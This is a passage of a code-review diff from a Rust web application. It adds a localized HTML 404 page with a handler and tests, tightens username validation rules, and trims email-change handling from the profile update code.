| 965 | 967 | already_decided: "Cette invitation a déjà été traitée." |
| 966 | 968 | cannot_accept_note: "Pour accepter, tu dois être connecté·e via une identité fédérée (login depuis ton instance d'origine). Tu peux refuser depuis ce compte local, mais l'acceptation passe par le flow AP-native." |
| 969 | + | |
| 970 | +# Page 404 (route inconnue) | |
| 971 | +http_errors: | |
| 972 | + not_found_title: "Page introuvable" | |
| 973 | + not_found_message: "Cette adresse ne correspond à aucune page." | |
| 974 | + code_label: "Erreur 404" | |
| 975 | + home: "Retour à l'accueil" | |
| 976 | + login: "Se connecter" |
M
crates/rustwarden-ui/locales/it.yml
+13
-3
@@ -18,6 +18,7 @@ login:
| 18 | 18 | username_placeholder: "Nome utente o email" |
| 19 | 19 | password_placeholder: "La tua password" |
| 20 | 20 | username_placeholder_register: "Il tuo nome utente (min. 3 caratteri)" |
| 21 | + username_pattern_register: "Solo minuscole, numeri e trattini, da 3 a 39 caratteri" | |
| 21 | 22 | password_placeholder_register: "La tua password (min. 8 caratteri)" |
| 22 | 23 | email_placeholder: "tua@email.com" |
| 23 | 24 | forgot_password: "Password dimenticata?" |
@@ -194,7 +195,7 @@ profile:
| 194 | 195 | username: "Nome utente" |
| 195 | 196 | username_public: "Visibile pubblicamente" |
| 196 | 197 | username_placeholder: "Il tuo nome utente" |
| 197 | - username_pattern: "Solo lettere, numeri, trattini e underscore" | |
| 198 | + username_pattern: "Solo minuscole, numeri e trattini, da 3 a 39 caratteri" | |
| 198 | 199 | email: "Email" |
| 199 | 200 | email_placeholder: "tua@email.com" |
| 200 | 201 | save: "Salva le modifiche" |
@@ -205,7 +206,7 @@ profile:
| 205 | 206 | email_used_for: "Utilizzato per l'accesso" |
| 206 | 207 | email_warning: "⚠️ Verrai disconnesso dopo la modifica" |
| 207 | 208 | email_change_info: "Le modifiche all'email richiedono una nuova connessione per motivi di sicurezza." |
| 208 | - username_help: "3-50 caratteri (lettere, numeri, -, _)" | |
| 209 | + username_help: "Da 3 a 39 caratteri (a-z, 0-9, -)" | |
| 209 | 210 | additional_info: "Informazioni aggiuntive" |
| 210 | 211 | account_created: "Account creato il" |
| 211 | 212 | roles: "Ruoli" |
@@ -362,7 +363,8 @@ admin:
| 362 | 363 | title_edit: "Modifica un utente" |
| 363 | 364 | back_to_list: "Torna alla lista" |
| 364 | 365 | username_label: "Nome utente" |
| 365 | - username_placeholder: "nome_utente" | |
| 366 | + username_placeholder: "nome-utente" | |
| 367 | + username_pattern: "Solo minuscole, numeri e trattini, da 3 a 39 caratteri" | |
| 366 | 368 | username_readonly_hint: "Il nome utente non può essere modificato dopo la creazione" |
| 367 | 369 | email_label: "Email" |
| 368 | 370 | email_placeholder: "utente@example.com" |
@@ -956,3 +958,11 @@ fediverse_invite_landing:
| 956 | 958 | reject_button: "Rifiuta" |
| 957 | 959 | already_decided: "Questo invito è già stato gestito." |
| 958 | 960 | cannot_accept_note: "Per accettare, devi essere connesso con un'identità federata (accesso dalla tua istanza di origine). Puoi rifiutare da questo account locale, ma l'accettazione passa attraverso il flow AP-nativo." |
| 961 | + | |
| 962 | +# Pagina 404 (route sconosciuta) | |
| 963 | +http_errors: | |
| 964 | + not_found_title: "Pagina non trovata" | |
| 965 | + not_found_message: "Questo indirizzo non corrisponde a nessuna pagina." | |
| 966 | + code_label: "Errore 404" | |
| 967 | + home: "Torna alla home" | |
| 968 | + login: "Accedi" |
M
crates/rustwarden-ui/locales/pt.yml
+13
-3
@@ -18,6 +18,7 @@ login:
| 18 | 18 | username_placeholder: "Nome de usuário ou email" |
| 19 | 19 | password_placeholder: "Sua senha" |
| 20 | 20 | username_placeholder_register: "Seu nome de usuário (mín. 3 caracteres)" |
| 21 | + username_pattern_register: "Apenas minúsculas, números e hífens, de 3 a 39 caracteres" | |
| 21 | 22 | password_placeholder_register: "Sua senha (mín. 8 caracteres)" |
| 22 | 23 | email_placeholder: "seu@email.com" |
| 23 | 24 | forgot_password: "Esqueceu a senha?" |
@@ -194,7 +195,7 @@ profile:
| 194 | 195 | username: "Nome de usuário" |
| 195 | 196 | username_public: "Visível publicamente" |
| 196 | 197 | username_placeholder: "Seu nome de usuário" |
| 197 | - username_pattern: "Apenas letras, números, hífens e sublinhados" | |
| 198 | + username_pattern: "Apenas minúsculas, números e hífens, de 3 a 39 caracteres" | |
| 198 | 199 | email: "Email" |
| 199 | 200 | email_placeholder: "seu@email.com" |
| 200 | 201 | save: "Salvar alterações" |
@@ -205,7 +206,7 @@ profile:
| 205 | 206 | email_used_for: "Usado para login" |
| 206 | 207 | email_warning: "⚠️ Você será desconectado após a alteração" |
| 207 | 208 | email_change_info: "Alterações no email requerem uma nova conexão por motivos de segurança." |
| 208 | - username_help: "3-50 caracteres (letras, números, -, _)" | |
| 209 | + username_help: "De 3 a 39 caracteres (a-z, 0-9, -)" | |
| 209 | 210 | additional_info: "Informações adicionais" |
| 210 | 211 | account_created: "Conta criada em" |
| 211 | 212 | roles: "Funções" |
@@ -362,7 +363,8 @@ admin:
| 362 | 363 | title_edit: "Editar um usuário" |
| 363 | 364 | back_to_list: "Voltar à lista" |
| 364 | 365 | username_label: "Nome de usuário" |
| 365 | - username_placeholder: "nome_usuario" | |
| 366 | + username_placeholder: "nome-usuario" | |
| 367 | + username_pattern: "Apenas minúsculas, números e hífens, de 3 a 39 caracteres" | |
| 366 | 368 | username_readonly_hint: "O nome de usuário não pode ser alterado após a criação" |
| 367 | 369 | email_label: "Email" |
| 368 | 370 | email_placeholder: "usuario@exemplo.com" |
@@ -956,3 +958,11 @@ fediverse_invite_landing:
| 956 | 958 | reject_button: "Recusar" |
| 957 | 959 | already_decided: "Este convite já foi processado." |
| 958 | 960 | cannot_accept_note: "Para aceitar, você deve estar conectado por meio de uma identidade federada (login da sua instância de origem). Pode recusar desta conta local, mas a aceitação passa pelo fluxo AP-nativo." |
| 961 | + | |
| 962 | +# Página 404 (rota desconhecida) | |
| 963 | +http_errors: | |
| 964 | + not_found_title: "Página não encontrada" | |
| 965 | + not_found_message: "Este endereço não corresponde a nenhuma página." | |
| 966 | + code_label: "Erro 404" | |
| 967 | + home: "Voltar ao início" | |
| 968 | + login: "Entrar" |
M
crates/rustwarden-ui/src/handlers/admin_handler.rs
+7
-0
@@ -573,6 +573,7 @@ struct UserFormTemplate {
| 573 | 573 | back_to_list: String, |
| 574 | 574 | username_label: String, |
| 575 | 575 | username_placeholder: String, |
| 576 | + username_pattern: String, | |
| 576 | 577 | username_readonly_hint: String, |
| 577 | 578 | email_label: String, |
| 578 | 579 | email_placeholder: String, |
@@ -996,6 +997,9 @@ pub async fn create_user_form(
| 996 | 997 | username_placeholder: i18n_service |
| 997 | 998 | .translate("admin.user_form.username_placeholder", locale_str) |
| 998 | 999 | .await, |
| 1000 | + username_pattern: i18n_service | |
| 1001 | + .translate("admin.user_form.username_pattern", locale_str) | |
| 1002 | + .await, | |
| 999 | 1003 | username_readonly_hint: i18n_service |
| 1000 | 1004 | .translate("admin.user_form.username_readonly_hint", locale_str) |
| 1001 | 1005 | .await, |
@@ -1206,6 +1210,9 @@ pub async fn edit_user_form(
| 1206 | 1210 | username_placeholder: i18n_service |
| 1207 | 1211 | .translate("admin.user_form.username_placeholder", locale_str) |
| 1208 | 1212 | .await, |
| 1213 | + username_pattern: i18n_service | |
| 1214 | + .translate("admin.user_form.username_pattern", locale_str) | |
| 1215 | + .await, | |
| 1209 | 1216 | username_readonly_hint: i18n_service |
| 1210 | 1217 | .translate("admin.user_form.username_readonly_hint", locale_str) |
| 1211 | 1218 | .await, |
A
crates/rustwarden-ui/src/handlers/error_page.rs
+239
-0
@@ -0,0 +1,239 @@
| 1 | +//! HTML 404 page for unmatched browser routes. | |
| 2 | +//! | |
| 3 | +//! API paths and JSON-only clients still receive a JSON body. | |
| 4 | + | |
| 5 | +use askama::Template; | |
| 6 | +use axum::body::Body; | |
| 7 | +use axum::extract::Request; | |
| 8 | +use axum::http::{HeaderMap, HeaderName, HeaderValue, StatusCode, header}; | |
| 9 | +use axum::response::{Html, IntoResponse, Response}; | |
| 10 | +use std::sync::Arc; | |
| 11 | + | |
| 12 | +use rustwarden_core::i18n::extractor::Locale; | |
| 13 | +use rustwarden_core::i18n::service::I18nService; | |
| 14 | +use rustwarden_core::templates::LayoutContext; | |
| 15 | + | |
| 16 | +const SUPPORTED_LOCALES: [&str; 6] = ["fr", "en", "de", "es", "it", "pt"]; | |
| 17 | + | |
| 18 | +/// Unmatched-route page. Copy is filled from i18n when the app has loaded it. | |
| 19 | +#[derive(Template)] | |
| 20 | +#[template(path = "errors/404.html")] | |
| 21 | +struct NotFoundTemplate { | |
| 22 | + fragment: bool, | |
| 23 | + locale: String, | |
| 24 | + app_name: String, | |
| 25 | + page_title: String, | |
| 26 | + code_label: String, | |
| 27 | + title: String, | |
| 28 | + message: String, | |
| 29 | + path: String, | |
| 30 | + home_label: String, | |
| 31 | + login_label: String, | |
| 32 | +} | |
| 33 | + | |
| 34 | +/// Fallback for routes that match nothing on the UI router. | |
| 35 | +/// | |
| 36 | +/// Browsers and HTMX receive the HTML page (status 404). Paths under `/api/` | |
| 37 | +/// and clients that ask only for `application/json` receive JSON. | |
| 38 | +pub async fn not_found(request: Request<Body>) -> Response { | |
| 39 | + let path = request.uri().path(); | |
| 40 | + let headers = request.headers(); | |
| 41 | + if wants_json(path, headers) { | |
| 42 | + return ( | |
| 43 | + StatusCode::NOT_FOUND, | |
| 44 | + axum::Json(serde_json::json!({ | |
| 45 | + "error": "Not found", | |
| 46 | + "status": 404, | |
| 47 | + })), | |
| 48 | + ) | |
| 49 | + .into_response(); | |
| 50 | + } | |
| 51 | + | |
| 52 | + let locale = locale_from_request(&request); | |
| 53 | + let i18n = request.extensions().get::<Arc<I18nService>>().cloned(); | |
| 54 | + let fragment = headers | |
| 55 | + .get("hx-request") | |
| 56 | + .and_then(|v| v.to_str().ok()) | |
| 57 | + .is_some_and(|v| v.eq_ignore_ascii_case("true")); | |
| 58 | + | |
| 59 | + let title = tr( | |
| 60 | + i18n.as_deref(), | |
| 61 | + "http_errors.not_found_title", | |
| 62 | + &locale, | |
| 63 | + "Page introuvable", | |
| 64 | + ) | |
| 65 | + .await; | |
| 66 | + let message = tr( | |
| 67 | + i18n.as_deref(), | |
| 68 | + "http_errors.not_found_message", | |
| 69 | + &locale, | |
| 70 | + "Cette adresse ne correspond à aucune page.", | |
| 71 | + ) | |
| 72 | + .await; | |
| 73 | + let code_label = tr( | |
| 74 | + i18n.as_deref(), | |
| 75 | + "http_errors.code_label", | |
| 76 | + &locale, | |
| 77 | + "Erreur 404", | |
| 78 | + ) | |
| 79 | + .await; | |
| 80 | + let home_label = tr( | |
| 81 | + i18n.as_deref(), | |
| 82 | + "http_errors.home", | |
| 83 | + &locale, | |
| 84 | + "Retour à l'accueil", | |
| 85 | + ) | |
| 86 | + .await; | |
| 87 | + let login_label = tr( | |
| 88 | + i18n.as_deref(), | |
| 89 | + "http_errors.login", | |
| 90 | + &locale, | |
| 91 | + "Se connecter", | |
| 92 | + ) | |
| 93 | + .await; | |
| 94 | + let layout = LayoutContext::new("", ""); | |
| 95 | + let page_title = format!("404 — {title} — {}", layout.app_name); | |
| 96 | + let shown_path: String = path.chars().take(200).collect(); | |
| 97 | + | |
| 98 | + let template = NotFoundTemplate { | |
| 99 | + fragment, | |
| 100 | + locale, | |
| 101 | + app_name: layout.app_name, | |
| 102 | + page_title, | |
| 103 | + code_label, | |
| 104 | + title, | |
| 105 | + message, | |
| 106 | + path: shown_path, | |
| 107 | + home_label, | |
| 108 | + login_label, | |
| 109 | + }; | |
| 110 | + | |
| 111 | + let html = match template.render() { | |
| 112 | + Ok(html) => html, | |
| 113 | + Err(err) => { | |
| 114 | + tracing::error!("404 template render failed: {err}"); | |
| 115 | + return (StatusCode::NOT_FOUND, Html(FALLBACK_HTML.to_string())).into_response(); | |
| 116 | + } | |
| 117 | + }; | |
| 118 | + | |
| 119 | + let mut response = (StatusCode::NOT_FOUND, Html(html)).into_response(); | |
| 120 | + if fragment { | |
| 121 | + let headers = response.headers_mut(); | |
| 122 | + headers.insert( | |
| 123 | + HeaderName::from_static("hx-retarget"), | |
| 124 | + HeaderValue::from_static("body"), | |
| 125 | + ); | |
| 126 | + headers.insert( | |
| 127 | + HeaderName::from_static("hx-reswap"), | |
| 128 | + HeaderValue::from_static("innerHTML"), | |
| 129 | + ); | |
| 130 | + } | |
| 131 | + response | |
| 132 | +} | |
| 133 | + | |
| 134 | +fn wants_json(path: &str, headers: &HeaderMap) -> bool { | |
| 135 | + if path.starts_with("/api/") { | |
| 136 | + return true; | |
| 137 | + } | |
| 138 | + let accept = headers | |
| 139 | + .get(header::ACCEPT) | |
| 140 | + .and_then(|value| value.to_str().ok()) | |
| 141 | + .unwrap_or(""); | |
| 142 | + accept.contains("application/json") && !accept.contains("text/html") | |
| 143 | +} | |
| 144 | + | |
| 145 | +fn locale_from_request(request: &Request<Body>) -> String { | |
| 146 | + if let Some(Locale(value)) = request.extensions().get::<Locale>() { | |
| 147 | + let code = value.split(['_', '-']).next().unwrap_or(value); | |
| 148 | + if SUPPORTED_LOCALES.contains(&code) { | |
| 149 | + return code.to_string(); | |
| 150 | + } | |
| 151 | + } | |
| 152 | + let header = request | |
| 153 | + .headers() | |
| 154 | + .get(header::ACCEPT_LANGUAGE) | |
| 155 | + .and_then(|value| value.to_str().ok()) | |
| 156 | + .unwrap_or(""); | |
| 157 | + for part in header.split(',') { | |
| 158 | + let token = part.split(';').next().unwrap_or("").trim(); | |
| 159 | + let code = token.split(['_', '-']).next().unwrap_or(""); | |
| 160 | + if SUPPORTED_LOCALES.contains(&code) { | |
| 161 | + return code.to_string(); | |
| 162 | + } | |
| 163 | + } | |
| 164 | + "fr".to_string() | |
| 165 | +} | |
| 166 | + | |
| 167 | +async fn tr(i18n: Option<&I18nService>, key: &str, locale: &str, fallback: &str) -> String { | |
| 168 | + let Some(i18n) = i18n else { | |
| 169 | + return fallback.to_string(); | |
| 170 | + }; | |
| 171 | + let value = i18n.translate(key, locale).await; | |
| 172 | + if value == key { | |
| 173 | + fallback.to_string() | |
| 174 | + } else { | |
| 175 | + value | |
| 176 | + } | |
| 177 | +} | |
| 178 | + | |
| 179 | +const FALLBACK_HTML: &str = r#"<!DOCTYPE html> | |
| 180 | +<html lang="fr"><head><meta charset="utf-8"><title>404</title></head> | |
| 181 | +<body><h1>Page introuvable</h1><p><a href="/">Retour à l'accueil</a></p></body></html>"#; | |
| 182 | + | |
| 183 | +#[cfg(test)] | |
| 184 | +mod tests { | |
| 185 | + use super::*; | |
| 186 | + use axum::body::to_bytes; | |
| 187 | + | |
| 188 | + #[tokio::test] | |
| 189 | + async fn browser_gets_html_404() { | |
| 190 | + let request = Request::builder() | |
| 191 | + .uri("/cette-page-nexiste-pas") | |
| 192 | + .header(header::ACCEPT, "text/html") | |
| 193 | + .body(Body::empty()) | |
| 194 | + .expect("request"); | |
| 195 | + let response = not_found(request).await; | |
| 196 | + assert_eq!(response.status(), StatusCode::NOT_FOUND); | |
| 197 | + let bytes = to_bytes(response.into_body(), 64 * 1024) | |
| 198 | + .await | |
| 199 | + .expect("body"); | |
| 200 | + let html = String::from_utf8_lossy(&bytes); | |
| 201 | + assert!(html.contains("Page introuvable"), "{html}"); | |
| 202 | + assert!(html.contains("/cette-page-nexiste-pas"), "{html}"); | |
| 203 | + assert!(html.contains("l'accueil"), "{html}"); | |
| 204 | + } | |
| 205 | + | |
| 206 | + #[tokio::test] | |
| 207 | + async fn api_path_stays_json() { | |
| 208 | + let request = Request::builder() | |
| 209 | + .uri("/api/v1/does-not-exist") | |
| 210 | + .header(header::ACCEPT, "text/html") | |
| 211 | + .body(Body::empty()) | |
| 212 | + .expect("request"); | |
| 213 | + let response = not_found(request).await; | |
| 214 | + assert_eq!(response.status(), StatusCode::NOT_FOUND); | |
| 215 | + let bytes = to_bytes(response.into_body(), 8 * 1024) | |
| 216 | + .await | |
| 217 | + .expect("body"); | |
| 218 | + let body = String::from_utf8_lossy(&bytes); | |
| 219 | + assert!(body.contains("\"status\":404"), "{body}"); | |
| 220 | + assert!(!body.contains("<html"), "{body}"); | |
| 221 | + } | |
| 222 | + | |
| 223 | + #[tokio::test] | |
| 224 | + async fn json_accept_stays_json() { | |
| 225 | + let request = Request::builder() | |
| 226 | + .uri("/nope") | |
| 227 | + .header(header::ACCEPT, "application/json") | |
| 228 | + .body(Body::empty()) | |
| 229 | + .expect("request"); | |
| 230 | + let response = not_found(request).await; | |
| 231 | + assert_eq!(response.status(), StatusCode::NOT_FOUND); | |
| 232 | + let content_type = response | |
| 233 | + .headers() | |
| 234 | + .get(header::CONTENT_TYPE) | |
| 235 | + .and_then(|v| v.to_str().ok()) | |
| 236 | + .unwrap_or(""); | |
| 237 | + assert!(content_type.contains("application/json"), "{content_type}"); | |
| 238 | + } | |
| 239 | +} |
M
crates/rustwarden-ui/src/handlers/login_handler.rs
+5
-0
@@ -36,6 +36,7 @@ struct LoginTemplate {
| 36 | 36 | username_placeholder: String, |
| 37 | 37 | password_placeholder: String, |
| 38 | 38 | username_placeholder_register: String, |
| 39 | + username_pattern_register: String, | |
| 39 | 40 | password_placeholder_register: String, |
| 40 | 41 | email_placeholder: String, |
| 41 | 42 | submit_button: String, |
@@ -199,6 +200,9 @@ pub async fn login_page(
| 199 | 200 | let username_placeholder_register = i18n_service |
| 200 | 201 | .translate("login.username_placeholder_register", locale_str) |
| 201 | 202 | .await; |
| 203 | + let username_pattern_register = i18n_service | |
| 204 | + .translate("login.username_pattern_register", locale_str) | |
| 205 | + .await; | |
| 202 | 206 | let password_placeholder_register = i18n_service |
| 203 | 207 | .translate("login.password_placeholder_register", locale_str) |
| 204 | 208 | .await; |
@@ -278,6 +282,7 @@ pub async fn login_page(
| 278 | 282 | username_placeholder, |
| 279 | 283 | password_placeholder, |
| 280 | 284 | username_placeholder_register, |
| 285 | + username_pattern_register, | |
| 281 | 286 | password_placeholder_register, |
| 282 | 287 | email_placeholder, |
| 283 | 288 | submit_button, |
M
crates/rustwarden-ui/src/handlers/mod.rs
+2
-0
@@ -8,6 +8,8 @@ pub mod admin_handler;
| 8 | 8 | pub mod dashboard_handler; |
| 9 | 9 | /// Email delivery status handlers. |
| 10 | 10 | pub mod email_handler; |
| 11 | +/// HTML 404 page for unmatched routes. | |
| 12 | +pub mod error_page; | |
| 11 | 13 | /// Health-check endpoint handler. |
| 12 | 14 | pub mod health; |
| 13 | 15 | /// Home page handler. |
M
crates/rustwarden-ui/src/handlers/settings/profile.rs
+20
-79
@@ -38,57 +38,35 @@ pub async fn update_profile(
| 38 | 38 | .await? |
| 39 | 39 | .ok_or_else(|| AppError::NotFound("User not found".to_string()))?; |
| 40 | 40 | |
| 41 | - let old_email = old_user.email.clone(); | |
| 42 | - let new_email = request.email.clone(); | |
| 43 | - let new_username = request.username.clone(); | |
| 44 | - let email_was_changed = new_email.as_ref().map(|e| e != &old_email).unwrap_or(false); | |
| 45 | - | |
| 41 | + // RFC 0041: `update_profile` no longer writes `users.email`. It accepts an | |
| 42 | + // echo of the current address (the profile form submits every field) and | |
| 43 | + // refuses an actual change with a `Validation` error pointing at | |
| 44 | + // `EmailChangeService` — the two-step flow lives on the machine channel | |
| 45 | + // (`POST /api/v1/auth/email-change`). Nothing to invalidate here either: | |
| 46 | + // pending password-change requests are dropped by the core service when | |
| 47 | + // the new address is confirmed, not when it is merely requested. | |
| 46 | 48 | let updated_user = |
| 47 | 49 | UserService::update_profile(&db, claims.sub, request.username, request.email).await?; |
| 48 | 50 | |
| 49 | 51 | tracing::info!("Profile updated for user {}", updated_user.username); |
| 50 | 52 | |
| 51 | - if email_was_changed { | |
| 52 | - use rustwarden_core::services::password_change_service::PasswordChangeService; | |
| 53 | - let password_change_service = PasswordChangeService::new(); | |
| 54 | - let invalidated = password_change_service | |
| 55 | - .invalidate_on_email_change(&db, claims.sub) | |
| 56 | - .await?; | |
| 57 | - if invalidated > 0 { | |
| 58 | - tracing::warn!( | |
| 59 | - "Invalidated {} pending password change request(s) for user {} due to email change", | |
| 60 | - invalidated, | |
| 61 | - updated_user.username | |
| 62 | - ); | |
| 63 | - } | |
| 64 | - } | |
| 65 | - | |
| 66 | - if let Ok(email_config) = EmailConfig::from_env() { | |
| 67 | - let modified_at = Utc::now().format("%Y-%m-%d %H:%M:%S UTC").to_string(); | |
| 68 | - let app_name = email_config | |
| 69 | - .smtp_from_name | |
| 70 | - .clone() | |
| 71 | - .unwrap_or_else(rustwarden_core::config::app::default_app_name); | |
| 53 | + // The UI layer only notifies an actual username rename: the profile form | |
| 54 | + // always submits every field, so an echoed (unchanged) username must not | |
| 55 | + // trigger an alert. | |
| 56 | + if updated_user.username != old_user.username { | |
| 57 | + if let Ok(email_config) = EmailConfig::from_env() { | |
| 58 | + let modified_at = Utc::now().format("%Y-%m-%d %H:%M:%S UTC").to_string(); | |
| 59 | + let app_name = email_config | |
| 60 | + .smtp_from_name | |
| 61 | + .clone() | |
| 62 | + .unwrap_or_else(rustwarden_core::config::app::default_app_name); | |
| 72 | 63 | |
| 73 | - let mut changes = Vec::new(); | |
| 74 | - if new_username.is_some() { | |
| 75 | - changes.push(rustwarden_core::templates::email_templates::AccountChange { | |
| 64 | + let changes = vec![rustwarden_core::templates::email_templates::AccountChange { | |
| 76 | 65 | field: "Username".to_string(), |
| 77 | 66 | old_value: Some(old_user.username.clone()), |
| 78 | 67 | new_value: updated_user.username.clone(), |
| 79 | - }); | |
| 80 | - } | |
| 81 | - if email_was_changed { | |
| 82 | - if let Some(ref new_email) = new_email { | |
| 83 | - changes.push(rustwarden_core::templates::email_templates::AccountChange { | |
| 84 | - field: "Email".to_string(), | |
| 85 | - old_value: Some(old_email.clone()), | |
| 86 | - new_value: new_email.clone(), | |
| 87 | - }); | |
| 88 | - } | |
| 89 | - } | |
| 68 | + }]; | |
| 90 | 69 | |
| 91 | - if !changes.is_empty() { | |
| 92 | 70 | let template = |
| 93 | 71 | rustwarden_core::templates::email_templates::AccountModifiedTemplate::new( |
| 94 | 72 | Some("fr".to_string()), |
@@ -102,44 +80,7 @@ pub async fn update_profile(
| 102 | 80 | let subject = "Compte modifié".to_string(); |
| 103 | 81 | use rustwarden_core::services::email_queue_service::EmailQueueService; |
| 104 | 82 | |
| 105 | - if email_was_changed { | |
| 106 | - if let Err(e) = EmailQueueService::enqueue( | |
| 107 | - &db, | |
| 108 | - updated_user.email.clone(), | |
| 109 | - Some(updated_user.username.clone()), | |
| 110 | - email_config.smtp_from.clone(), | |
| 111 | - email_config.smtp_from_name.clone(), | |
| 112 | - subject.clone(), | |
| 113 | - body_html.clone(), | |
| 114 | - body_text.clone(), | |
| 115 | - "account_modified".to_string(), | |
| 116 | - ) | |
| 117 | - .await | |
| 118 | - { | |
| 119 | - tracing::warn!( | |
| 120 | - "Failed to enqueue account modified email to new address: {}", | |
| 121 | - e | |
| 122 | - ); | |
| 123 | - } | |
| 124 | - if let Err(e) = EmailQueueService::enqueue( | |
| 125 | - &db, | |
| 126 | - old_email.clone(), | |
| 127 | - Some(updated_user.username.clone()), | |
| 128 | - email_config.smtp_from.clone(), | |
| 129 | - email_config.smtp_from_name.clone(), | |
| 130 | - subject, | |
| 131 | - body_html, | |
| 132 | - body_text, | |
| 133 | - "account_modified".to_string(), | |
| 134 | - ) | |
| 135 | - .await | |
| 136 | - { | |
| 137 | - tracing::warn!( | |
| 138 | - "Failed to enqueue account modified email to old address: {}", | |
| 139 | - e | |
| 140 | - ); | |
| 141 | - } | |
| 142 | - } else if let Err(e) = EmailQueueService::enqueue( | |
| 83 | + if let Err(e) = EmailQueueService::enqueue( | |
| 143 | 84 | &db, |
| 144 | 85 | updated_user.email.clone(), |
| 145 | 86 | Some(updated_user.username.clone()), |
M
crates/rustwarden-ui/src/handlers/user_handler.rs
+2
-2
@@ -18,8 +18,8 @@ use rustwarden_core::services::{
| 18 | 18 | /// Inline DTO: Create user request |
| 19 | 19 | #[derive(Debug, Deserialize, Validate)] |
| 20 | 20 | pub struct CreateUserRequest { |
| 21 | - /// Desired login name (3–50 characters). | |
| 22 | - #[validate(length(min = 3, max = 50))] | |
| 21 | + /// Desired login name (3–39 characters, `[a-z0-9-]`, no reserved words). | |
| 22 | + #[validate(length(min = 3, max = 39))] | |
| 23 | 23 | pub username: String, |
| 24 | 24 | /// Valid email address for the new account. |
| 25 | 25 | #[validate(email)] |
M
crates/rustwarden-ui/src/routes.rs
+3
-1
@@ -7,7 +7,8 @@ use tower_http::services::ServeDir;
| 7 | 7 | |
| 8 | 8 | use crate::handlers::settings::{preferences, profile, security}; |
| 9 | 9 | use crate::handlers::{ |
| 10 | - admin_handler, health, home_handler, login_handler, root_handler, totp_handler, user_handler, | |
| 10 | + admin_handler, error_page, health, home_handler, login_handler, root_handler, totp_handler, | |
| 11 | + user_handler, | |
| 11 | 12 | }; |
| 12 | 13 | |
| 13 | 14 | /// Build the **browser** family of UI routes (SSR, session-cookie driven). |
@@ -114,6 +115,7 @@ pub fn browser_routes() -> Router<DatabaseConnection> {
| 114 | 115 | .merge(ui_routes) |
| 115 | 116 | .merge(admin_routes) |
| 116 | 117 | .nest_service("/static", static_service) |
| 118 | + .fallback(error_page::not_found) | |
| 117 | 119 | } |
| 118 | 120 | |
| 119 | 121 | /// Build the **machine** family of API routes (`/api/v1/*`). |
M
crates/rustwarden-ui/templates/admin/user_form.html
+10
-6
@@ -64,12 +64,16 @@
| 64 | 64 | <span class="label-text-alt text-error">*</span> |
| 65 | 65 | </label> |
| 66 | 66 | {% if mode == "create" %} |
| 67 | - <input | |
| 68 | - type="text" | |
| 69 | - name="username" | |
| 70 | - value="{{ form_username }}" | |
| 71 | - placeholder="{{ username_placeholder }}" | |
| 72 | - class="input input-bordered w-full" | |
| 67 | + <input | |
| 68 | + type="text" | |
| 69 | + name="username" | |
| 70 | + value="{{ form_username }}" | |
| 71 | + placeholder="{{ username_placeholder }}" | |
| 72 | + class="input input-bordered w-full" | |
| 73 | + minlength="3" | |
| 74 | + maxlength="39" | |
| 75 | + pattern="[a-z0-9-]+" | |
| 76 | + title="{{ username_pattern }}" | |
| 73 | 77 | required |
| 74 | 78 | > |
| 75 | 79 | {% else %} |
A
crates/rustwarden-ui/templates/errors/404.html
+53
-0
@@ -0,0 +1,53 @@
| 1 | +{% if !fragment %} | |
| 2 | +<!DOCTYPE html> | |
| 3 | +<html lang="{{ locale }}" data-theme="light"> | |
| 4 | +<head> | |
| 5 | + <script> | |
| 6 | + (function() { | |
| 7 | + var lm = document.cookie.match(/(?:^|;\s*)locale=([^;]*)/); | |
| 8 | + if (lm && lm[1]) document.documentElement.lang = lm[1]; | |
| 9 | + var m = document.cookie.match(/(?:^|;\s*)theme=([^;]*)/); | |
| 10 | + var t = m ? m[1] : 'auto'; | |
| 11 | + if (t === 'dark') { | |
| 12 | + document.documentElement.setAttribute('data-theme', 'dark'); | |
| 13 | + } else if (t === 'light') { | |
| 14 | + document.documentElement.setAttribute('data-theme', 'light'); | |
| 15 | + } else { | |
| 16 | + var d = window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light'; | |
| 17 | + document.documentElement.setAttribute('data-theme', d); | |
| 18 | + } | |
| 19 | + })(); | |
| 20 | + </script> | |
| 21 | + <meta charset="UTF-8"> | |
| 22 | + <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| 23 | + <meta name="robots" content="noindex"> | |
| 24 | + <title>{{ page_title }}</title> | |
| 25 | + <link rel="icon" type="image/svg+xml" href="/static/images/favicon.svg"> | |
| 26 | + <link href="/static/css/tailwind.css" rel="stylesheet"> | |
| 27 | + <link href="/static/css/custom.css" rel="stylesheet"> | |
| 28 | +</head> | |
| 29 | +<body class="bg-base-200 min-h-screen text-base-content"> | |
| 30 | +{% endif %} | |
| 31 | +<main class="min-h-screen flex items-center justify-center px-4 py-10" id="http-error"> | |
| 32 | + <div class="max-w-md w-full text-center"> | |
| 33 | + <a href="/" class="inline-flex items-center justify-center mb-6"> | |
| 34 | + <img src="/static/images/logo.svg" alt="{{ app_name }}" class="h-12 w-12"> | |
| 35 | + </a> | |
| 36 | + <p class="text-sm font-medium uppercase tracking-wide text-base-content/60 mb-2">{{ code_label }}</p> | |
| 37 | + <h1 class="text-3xl font-bold mb-3">{{ title }}</h1> | |
| 38 | + <p class="text-base-content/70 mb-4">{{ message }}</p> | |
| 39 | + {% if path != "" %} | |
| 40 | + <p class="mb-8"> | |
| 41 | + <code class="text-sm break-all bg-base-100 rounded px-2 py-1">{{ path }}</code> | |
| 42 | + </p> | |
| 43 | + {% endif %} | |
| 44 | + <div class="space-y-3"> | |
| 45 | + <a href="/" class="btn btn-primary w-full">{{ home_label }}</a> | |
| 46 | + <a href="/login" class="btn btn-ghost w-full">{{ login_label }}</a> | |
| 47 | + </div> | |
| 48 | + </div> | |
| 49 | +</main> | |
| 50 | +{% if !fragment %} | |
| 51 | +</body> | |
| 52 | +</html> | |
| 53 | +{% endif %} |
M
crates/rustwarden-ui/templates/login.html
+3
-1
@@ -193,7 +193,9 @@
| 193 | 193 | name="username" |
| 194 | 194 | required |
| 195 | 195 | minlength="3" |
| 196 | - maxlength="50" | |
| 196 | + maxlength="39" | |
| 197 | + pattern="[a-z0-9-]+" | |
| 198 | + title="{{ username_pattern_register }}" | |
| 197 | 199 | autocomplete="username" |
| 198 | 200 | class="input input-bordered w-full" |
| 199 | 201 | placeholder="{{ username_placeholder_register }}"> |
M
crates/rustwarden-ui/templates/profile.html
+2
-2
@@ -45,8 +45,8 @@
| 45 | 45 | placeholder="{{ username_placeholder }}" |
| 46 | 46 | class="input input-bordered w-full" |
| 47 | 47 | minlength="3" |
